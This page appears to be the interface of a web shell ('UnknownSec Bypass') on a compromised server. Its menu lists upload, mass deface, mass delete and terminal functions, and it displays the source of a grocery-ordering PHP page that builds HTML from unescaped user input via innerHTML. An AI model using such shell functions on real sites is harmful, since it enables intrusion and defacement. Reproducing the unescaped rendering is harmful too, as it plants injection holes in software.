UnknownSec Bypass
403
:
/
var
/
www
/
html
/
clientpnl
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
manage_order.php
<?php include "top.php"; ?> <!-- /contact-form --> <section class="w3l-contact-main"> <div class="contact-infhny py-5"> <div class="container py-lg-3"> <div class="row align-form-map"> <div class="col-lg-10 title-content text-left mb-lg-4 mb-4"> <h4 class="hny-title mb-3">Welcome, <span><?php echo $_SESSION['username']; ?> !</span> Place Your Grocery Order</h4> </div> <div class="col-lg-12 form-inner-cont"> <div class="row"> <div class="col-lg-5 col-12 mt-4"> <!-- <label for="w3lSender">Mobile No. </label> --> <input type="text" class="border" name="txtproductname" id="txtproductname" maxlength="100" placeholder="Enter product name." required="" /> </div> <div class="col-lg-5 col-12 mt-4"> <!-- <label for="w3lSender">Mobile No. </label> --> <input type="text" class="border" name="txtproductqty" id="txtproductqty" maxlength="10" onkeypress="return isNumberKey(event,this);" placeholder="Enter qty." required="" /> </div> <div class="col-lg-2 col-12 mt-4"> <button type="submit" style="width: 100%" name="btnadd" id="btnadd" onclick="savetempdata();" class="btn btn-contact">Add</button> </div> </div> <div class="row"> <div class="col-lg-12 col-12 mt-4"> <table class=" table table-bordered content-table"> <thead> <td>S.No</td> <td>Name</td> <td>qty</td> <td>Action</td> </thead> <tbody id="root"> </tbody> </table> </div> <div class="col-lg-12 col-12 mt-4"> <button type="submit" style="width: 100%" name="btnsave" id="btnsave" onclick="savedata();" class="btn btn-contact">Submit Order</button> </div> </div> </div> </div> </div> </section> <script type="text/javascript"> $(document).ready(function(){ select(); } ); function isNumberKey(evt, element) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function savedata() { var flag = true; let arr=JSON.parse(localStorage.getItem("userdata")); if(arr!=null) { var text = "Do you want to submit the order"; if (confirm(text) == false) { flag=false; return false; } $.ajax({ type: "Post", url: "save_manageorder.php", data: {userdata:JSON.stringify(arr)}, success: function(res) { if(res==1) { localStorage.clear(); window.location.href="order_message.php"; } else if(res==2) { alert("please book your token then place an order"); localStorage.clear(); window.location.href="manage_order.php"; } else { alert("There is problem to submit the order"); } } }); } else { alert("Please add product then press submit order button."); } } function select() { let newarr=JSON.parse(localStorage.getItem("userdata")); if(newarr!=null){ let html=''; let sno=1; for(let k in newarr) { let n=newarr[k].name; let q=newarr[k].qty; html=html+`<tr><td>${sno}</td><td>${newarr[k].name} </td> <td>${newarr[k].qty}</td> <td><a href="javascript:void(0)" onclick="editData(${sno})">Edit</a> <a href="javascript:void(0)" onclick="deleteData(${sno})">Delete</a></td></tr>`; sno++; }; document.getElementById('root').innerHTML=html; document.getElementById('name').value=""; document.getElementById('qty').value=""; id="No"; } } let id="No" function savetempdata() { let arr=JSON.parse(localStorage.getItem("userdata")); let name=document.getElementById('txtproductname').value; let qty=document.getElementById('txtproductqty').value; if(name==''){ alert("Please enter product name"); document.getElementById('txtproductname').focus(); return; } else if(qty=='') { alert("Please enter qty"); document.getElementById('txtproductqty').focus(); return; } else { if(id=="No") { let arrdata={ name:name, qty:qty }; if(arr==null) { arr=[] } arr.push(arrdata); localStorage.setItem('userdata',JSON.stringify(arr)); } else { let arr=JSON.parse(localStorage.getItem("userdata")); arr[id].name=name; arr[id].qty=qty; localStorage.setItem('userdata',JSON.stringify(arr)); document.getElementById('btnadd').innerHTML="Add"; alert("Update"); } let newarr=JSON.parse(localStorage.getItem("userdata")); if(newarr!=null){ let html=''; let sno=1; for(let k in newarr) { let n=newarr[k].name; let q=newarr[k].qty; html=html+`<tr><td>${sno}</td><td>${newarr[k].name} </td> <td>${newarr[k].qty}</td> <td><a href="javascript:void(0)" onclick="editData(${sno})">Edit</a> <a href="javascript:void(0)" onclick="deleteData(${sno})">Delete</a></td></tr>`; sno++; }; document.getElementById('root').innerHTML=html; document.getElementById('txtproductname').value=""; document.getElementById('txtproductqty').value=""; document.getElementById('txtproductname').focus(); id="No"; } } } function deleteData(rid){ id=rid-1; let arr=JSON.parse(localStorage.getItem("userdata")); arr.splice(id,1); localStorage.setItem('userdata',JSON.stringify(arr)); let newarr=JSON.parse(localStorage.getItem("userdata")); if(newarr!=null) { let html=''; let sno=1; for(let k in newarr) { let n=newarr[k].name; let q=newarr[k].qty; html=html+`<tr><td>${sno}</td><td>${newarr[k].name} </td> <td>${newarr[k].qty}</td> <td><a href="javascript:void(0)" onclick="editData(${sno})">Edit</a> <a href="javascript:void(0)" onclick="deleteData(${sno})">Delete</a></td></tr>`; sno++; }; document.getElementById('root').innerHTML=html; document.getElementById('txtproductname').value=""; document.getElementById('txtproductqty').value=""; id="No"; } } function editData(rid) { id=rid-1; let arr=JSON.parse(localStorage.getItem("userdata")); document.getElementById('txtproductname').value=arr[rid-1].name; document.getElementById('txtproductqty').value=arr[rid-1].qty; document.getElementById('btnadd').innerHTML="Edit"; } </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec